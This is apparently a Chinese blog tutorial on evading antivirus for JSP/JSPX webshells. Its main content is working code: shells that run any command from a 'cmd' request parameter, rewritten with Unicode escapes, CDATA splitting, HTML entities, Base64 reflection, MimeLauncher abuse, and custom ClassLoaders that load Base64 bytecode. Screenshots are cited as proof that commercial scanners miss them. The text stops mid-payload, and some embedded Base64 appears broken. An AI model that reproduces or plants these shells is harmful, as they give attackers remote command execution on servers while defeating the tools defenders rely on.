java40集教程全套(十万字解析java免查杀合集)

<%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@page language="java" pageEncoding="utf-8" %> <% String cmd = request.getParameter("cmd"); Process process = runtime.getRuntime().exec(cmd); InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>

查杀的点在于Runtime.getRuntime().exec非常明显的特征

利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式

java40集教程全套(十万字解析java免查杀合集)(1)

<%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@page language="java" pageEncoding="utf-8" %> <% String cmd = request.getParameter("cmd"); Process process = new ProcessBuilder(new String[]{cmd}).start(); InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>

java40集教程全套(十万字解析java免查杀合集)(2)

免杀效果

某狗:

java40集教程全套(十万字解析java免查杀合集)(3)

某盾:

java40集教程全套(十万字解析java免查杀合集)(4)

某马:

java40集教程全套(十万字解析java免查杀合集)(5)

vt:

java40集教程全套(十万字解析java免查杀合集)(6)

某度在线查杀:

java40集教程全套(十万字解析java免查杀合集)(7)

可以看到这全部都免杀过了,就换了一个函数。

这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开,相当于一个对调函数。免杀效果一般,因为很多查杀都是直接匹配Runtime.getRuntime()

<%@ page import="java.beans.Expression" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStream" %> <%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter("cmd"); Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd}); Process process = (Process) expr.getValue(); InputStream in = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in)); String tmp = null; while((tmp = bufferedReader.readLine())!=null){ response.getWriter().println(tmp); } %>

查杀效果:

java40集教程全套(十万字解析java免查杀合集)(8)

java40集教程全套(十万字解析java免查杀合集)(9)

java40集教程全套(十万字解析java免查杀合集)(10)

可以看到某狗已经查杀出来了。只能说效果很一般

jsp支持unicode编码,如果杀软不支持unicode查杀的话,基本上都能绕过

<%@ page language="java" contentType="text/html;charset=utf-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <% \uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>

注意这里的\uuuu00可以换成\uuuu00uuu...可以跟多个u达到绕过的效果

java40集教程全套(十万字解析java免查杀合集)(11)

将代码(除page以及标签)进行unicode编码,并条件到<%%>标签中,即可执行webshell

在线unicode编码转换:

https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

注意用此在线unicode编码后内容会存在 /ua ,需要手动删除,负责无法正常运行

java40集教程全套(十万字解析java免查杀合集)(12)

可以看到依旧执行成功

查杀效果:

java40集教程全套(十万字解析java免查杀合集)(13)

java40集教程全套(十万字解析java免查杀合集)(14)

java40集教程全套(十万字解析java免查杀合集)(15)

java40集教程全套(十万字解析java免查杀合集)(16)

这个基本上是通杀了属实是,但由于特征过于明显,如果人工查杀的话,很容易被发现

这里是要是利用jspx的进行进行免杀,jspx其实就是xml格式的jsp文件

在jspx中,可以利用<jsp:scriptlet>来代替<%%>

<%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@page language="java" pageEncoding="utf-8" %> <jsp:scriptlet> String cmd = request.getParameter("cmd"); Process process = Runtime.getRuntime().exec(cmd); InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } </jsp:scriptlet>

java40集教程全套(十万字解析java免查杀合集)(17)

当<jsp:scriptlet>被过滤时可以利用EL表达式,达到绕过的效果

${Runtime.getRuntime().exec(param.cmd)}

java40集教程全套(十万字解析java免查杀合集)(18)

EL表达式的11个隐含对象

java40集教程全套(十万字解析java免查杀合集)(19)

其他情况:

利用命令空间改名去绕过 <demo:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2"> <demo:scriptlet> Runtime.getRuntime().exec(pageContext.request.getParameter("cmd")); </demo:scriptlet> </demo:root> 利用<jsp:expression>绕过 <jsp:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2"> <jsp:expression> Runtime.getRuntime().exec(pageContext.request.getParameter("cmd")); </jsp:expression> </jsp:root>

以上是jsp的一些特性,下面开始正式讲解CDATA

java40集教程全套(十万字解析java免查杀合集)(20)

说人话就是<![CDATA[与]]>只要能配对就相互抵消,其他不变,因此就可以说多了一个混淆的方式,有点类似多行注释在一行中使用(sql注入绕过waf),但是这个特征可以将关键字,函数进行分割,让其能混淆的空间变的更大

下面是用xml格式的jsp文件

<?xml version="1.0" encoding="UTF-8"?> <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0"> <jsp:directive.page contentType="text/html"/> <jsp:scriptlet> String cmd = request.getParameter("cmd"); Process process = Runtime.getRuntime().exec(cmd); java.io.InputStream is = process.getInputStream(); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } </jsp:scriptlet> </jsp:root>

java40集教程全套(十万字解析java免查杀合集)(21)

可以看到这里是能正常运行的,接下来文件使用CDATA进行混淆

<?xml version="1.0" encoding="UTF-8"?> <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0"> <jsp:directive.page contentType="text/html"/> <jsp:scriptlet> String cmd = requ<![CDATA[est.get]]>Parameter("cmd"); Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd); java.io.InputStream is = process.getInputStream(); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } </jsp:scriptlet> </jsp:root>

java40集教程全套(十万字解析java免查杀合集)(22)

依旧是能成功运行的,但是我们可以requst和Runtime这些类名都被插入了CDATA,从而消除了特征

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(23)

java40集教程全套(十万字解析java免查杀合集)(24)

java40集教程全套(十万字解析java免查杀合集)(25)

java40集教程全套(十万字解析java免查杀合集)(26)

这里HTML编码免杀与jspx的特效有关,前面的CDATA设计到了jspx的相关知识,由此CDATA的免杀就在上文讲了

在XML里可以通过html实体编码来对特殊字符转义,jspx同样继承了该特性,由此jspx就具有识别html实体编码,接下来我们就利用上面的免杀马进行进一步的混淆

<?xml version="1.0" encoding="UTF-8"?> <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0"> <jsp:directive.page contentType="text/html"/> <jsp:scriptlet> String cmd = requ<![CDATA[est.get]]>Parameter("cmd"); Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd); java.io.InputStream is = process.getInputStream(); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } </jsp:scriptlet> </jsp:root>

注意:含有CDATA的内容是不能进行html实体编码的,反之html实体编码后的内容也不能插入CDATA,否则无法执行

在线html实体编码:

https://www.qqxiuzi.cn/bianma/zifushiti.php

java40集教程全套(十万字解析java免查杀合集)(27)

可以看到依旧可以正常运行

本章主要讲解反射在webhell中的利用,以及反射绕过杀软的利用与原理

<%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.*" %> <%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter("cmd"); Class<?> rt =Class.forName("java.lang.Runtime"); Method runtimeMethod = rt.getMethod("getRuntime"); Method method = rt.getMethod("exec", String.class); Object object = method.invoke(runtimeMethod.invoke(null),cmd); Process process = (Process) object; InputStream in = process.getInputStream(); InputStreamReader resultReader = new InputStreamReader(in); BufferedReader stdInput = new BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } %>

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(28)

java40集教程全套(十万字解析java免查杀合集)(29)

特征太明显里面还有java.lang.Runtime,getRuntime,exec这些敏感内容,由于与反射相关的参数都是字符串,由此我们能操作的空间就很大了。

利用base64加解密敏感内容

<%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.*" %> <%@ page import="java.util.Base64" %> <%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter(new String(Base64.getdecoder().decode("Y21k"),"utf-8")); Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8")); Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8")); Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class); Object object = method.invoke(runtimeMethod.invoke(null),cmd); Process process = (Process) object; InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(30)

java40集教程全套(十万字解析java免查杀合集)(31)

通过测试发现并非查杀的是与反射相关的所有函数,而是匹配是否存在getMethod函数,因此我们只需将getMethod改为getDeclaredMethod即可

getDeclaredMethod替换getMethod

<%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.*" %> <%@ page import="java.util.Base64" %> <%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8")); Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8")); Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8")); Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class); Object object = method.invoke(runtimeMethod.invoke(null),cmd); Process process = (Process) object; InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>

java40集教程全套(十万字解析java免查杀合集)(32)

可以看到正常运行

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(33)

java40集教程全套(十万字解析java免查杀合集)(34)

可以看到某盾依旧查杀,经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀,这种情况下,笔者并未找到太好的办法,要么就这些不回显,要么就利用之前文章写的免杀技巧。

<%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.*" %> <%@ page import="java.util.Base64" %> <%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8")); Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8")); Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8")); Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class); Object object = method.invoke(runtimeMethod.invoke(null),cmd); %>

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(35)

www.MimeLauncher免杀

在sun.net. www.MimeLauncher中存在一个run方法 ,而该run方法存在命令执行漏洞

java40集教程全套(十万字解析java免查杀合集)(36)

本来打算将MimeLauncher放到前面内置函数免杀那篇文章上讲,由于MimeLauncher无法直接使用,需要借助反射进行调用,因此就笔者就将MimeLauncher放在反射免杀后讲,及本章

<%@ page import="java.io.*" %> <%@ page import="java.net.URLConnection" %> <%@ page import="java.net.URL" %> <%@ page import="sun.net.www.MimeEntry" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter("cmd"); URLConnection urlConnection = new URL("http://127.0.0.1%s").openConnection(); MimeEntry mimeEntry = new MimeEntry("naihe"); Class meClass = MimeEntry.class; Field field = meClass.getDeclaredField("command"); field.setAccessible(true); Field field2 = meClass.getDeclaredField("tempFileNameTemplate"); field2.setAccessible(true); field2.set(mimeEntry,"naihe%s567"); InputStream inputStream = new InputStream() { @Override public int read() throws IOException { return -1; } }; Class mimeClass = Class.forName("sun.net.www.MimeLauncher"); Constructor mimeCon = mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class, InputStream.class,String.class,String.class); mimeCon.setAccessible(true); Thread thread = (Thread) mimeCon.newInstance(mimeEntry, urlConnection, inputStream, "0","0"); Field field3 = mimeClass.getDeclaredField("execPath"); field3.setAccessible(true); field3.set(thread,cmd); Method m = mimeClass.getDeclaredMethod("run"); m.setAccessible(true); m.invoke(thread); %>

java40集教程全套(十万字解析java免查杀合集)(37)

类似MimeLauncher的类还有许多,适合大家去挖掘挖掘,利用时大概率会用到反射,就当练习练习反射相关的知识也是不错的选择

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(38)

java40集教程全套(十万字解析java免查杀合集)(39)

这种方式简单地说就是用ideal将java文件编程成class文件,然后将class读取出来用base64编码即可,这种方式比较方便简单,不需要会使用ASM,javassist等字节码框架。

package com.demo; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.ByteBuffer; import java.nio.channels.FileChannel; import java.util.Base64; public class Demo { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { FileChannel fileChannel = null; FileInputStream in = null; in = new FileInputStream("C:\\Users\\12107\\Desktop\\免杀\\target\\classes\\com\\demo\\Shell.class"); fileChannel = in.getChannel(); ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size()); while (fileChannel.read(buffer) > 0) { } System.out.println(new String(Base64.getEncoder().encode(buffer.array()))); } }

Shell.java

package com.demo; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class Shell { public static String runs(String cmd) throws IOException { Process process = Runtime.getRuntime().exec(cmd); InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = ""; String s = ""; while((r = bufferedReader.readLine())!=null){ s = r; } return s; } }

javassist是生成修改字节码的框架,使用比ASM更简洁,但是并非jvm自带的库,也是笔者非常喜欢的一个框架。

package com.demo; import javassist.*; import java.io.IOException; import java.util.Base64; public class Demo2 { public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { ClassPool classPool = ClassPool.getDefault(); CtClass cc1 = classPool.makeClass("com.demo.Shell"); CtConstructor cons = new CtConstructor(new CtClass[]{},cc1); cons.setBody("{}"); String runCode1="{}"; cons.insertBefore((runCode1)); cc1.addConstructor(cons); CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1); cm2.setModifiers(Modifier.PUBLIC); cm2.setBody("{ Process process = Runtime.getRuntime().exec($1);\n" " java.io.InputStream is = process.getInputStream();\n" " java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" " String r = \"\";\n" " String s = \"\";\n" " while((r = bufferedReader.readLine())!=null){\n" " s = r;\n" " }\n" " return s;}"); cc1.addMethod(cm2); System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode()))); } }

ASM相比javassist操作更复杂,但是jvm自带,利用面非常广

package com.demo; import jdk.internal.org.objectweb.asm.ClassWriter; import jdk.internal.org.objectweb.asm.MethodVisitor; import java.util.Base64; import static jdk.internal.org.objectweb.asm.Opcodes.*; public class Demo2 { public static void main(String[] args){ ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS); cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null); MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null); mw.visitVarInsn(ALOAD, 0); mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false); mw.visitInsn(RETURN); mw.visitMaxs(1, 1); mw.visitEnd(); MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs", "(Ljava/lang/String;)Ljava/lang/Process;", null, null); mw2.visitCode(); mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;",false); mw2.visitVarInsn(ALOAD,1); mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); mw2.visitInsn(ARETURN); mw2.visitMaxs(10, 3); mw2.visitEnd(); byte[] code = cw.toByteArray(); System.out.println(new String(Base64.getEncoder().encode(code))); } }

这里由于ASM操作比较复杂,就先生成一个简单的字节码(前面javac和javassist笔者写的回显都是在字节码这,这ASM回显的内容就先不放在ASM中生成),由于runs函数的返回值为Process,我们只需要在后面的jsp处理中拿出来用即可。

<%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.util.Base64" %> <%@ page import="java.security.cert.Certificate" %> <%@ page import="java.security.*" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <% ClassLoader loader = new ClassLoader() { @Override public Class<?> loadClass(String name) throws ClassNotFoundException { if(name.contains("com.demo.Shell")){ return findClass(name); } return super.loadClass(name); } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { try { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAFQEADmNvbS9kZW1vL1NoZWxsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgwABQAGCgAEAAcBAARydW5zAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1J1bnRpbWUHAAsBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAANAA4KAAwADwEABGV4ZWMMABEACgoADAASAQAEQ29kZQABAAIABAAAAAAAAgABAAUABgABABQAAAARAAEAAQAAAAUqtwAIsQAAAAAAAQAJAAoAAQAUAAAAFAAKAAIAAAAIuAAQK7YAE7AAAAAAAAA="); PermissionCollection pc = new Permissions(); pc.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null); return this.defineClass(name, bytes, 0, bytes.length, protectionDomain); } catch (Exception e) { e.printStackTrace(); } return super.findClass(name); } }; String cmd = request.getParameter("cmd"); Class<?> shell = loader.loadClass("com.demo.Shell"); Object object = shell.newInstance(); Method dm = shell.getDeclaredMethod("runs",String.class); Process o2 = (Process)dm.invoke(object, cmd); InputStream is = o2.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = ""; String s = ""; while((r = bufferedReader.readLine())!=null){ s = r; } response.getWriter().println(s); %>

免杀修改

java40集教程全套(十万字解析java免查杀合集)(40)

java40集教程全套(十万字解析java免查杀合集)(41)

<%@ page import="java.lang.reflect.Method" %> <%@ page import="java.util.Base64" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.FileInputStream" %> <%@ page import="java.nio.channels.FileChannel" %> <%@ page import="java.nio.ByteBuffer" %> <%@ page language="java" pageEncoding="UTF-8" %> <% Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/ AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs"); Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length); Object object = shell.newInstance(); Method dm = shell.getDeclaredMethod("runs",String.class); Object invoke = dm.invoke(object, "calc"); %>

免杀效果:

java40集教程全套(十万字解析java免查杀合集)(42)

java40集教程全套(十万字解析java免查杀合集)(43)

虽然用原始的defindClass虽然能到达免杀效果,但是由于没有重写loadClass,findClass,没有打破双亲委派,导致恶意的字节码被加载后,再次访问网页的时候,类不会被生成,导致不能正常使用

自定义classloader免杀

<%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.util.Base64" %> <%@ page import="java.security.cert.Certificate" %> <%@ page import="java.security.*" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <% ClassLoader loader = new ClassLoader() { @Override public Class<?> loadClass(String name) throws ClassNotFoundException { if(name.contains("com.demo.Shell")){ return findClass(name); } return super.loadClass(name); } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { try { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA 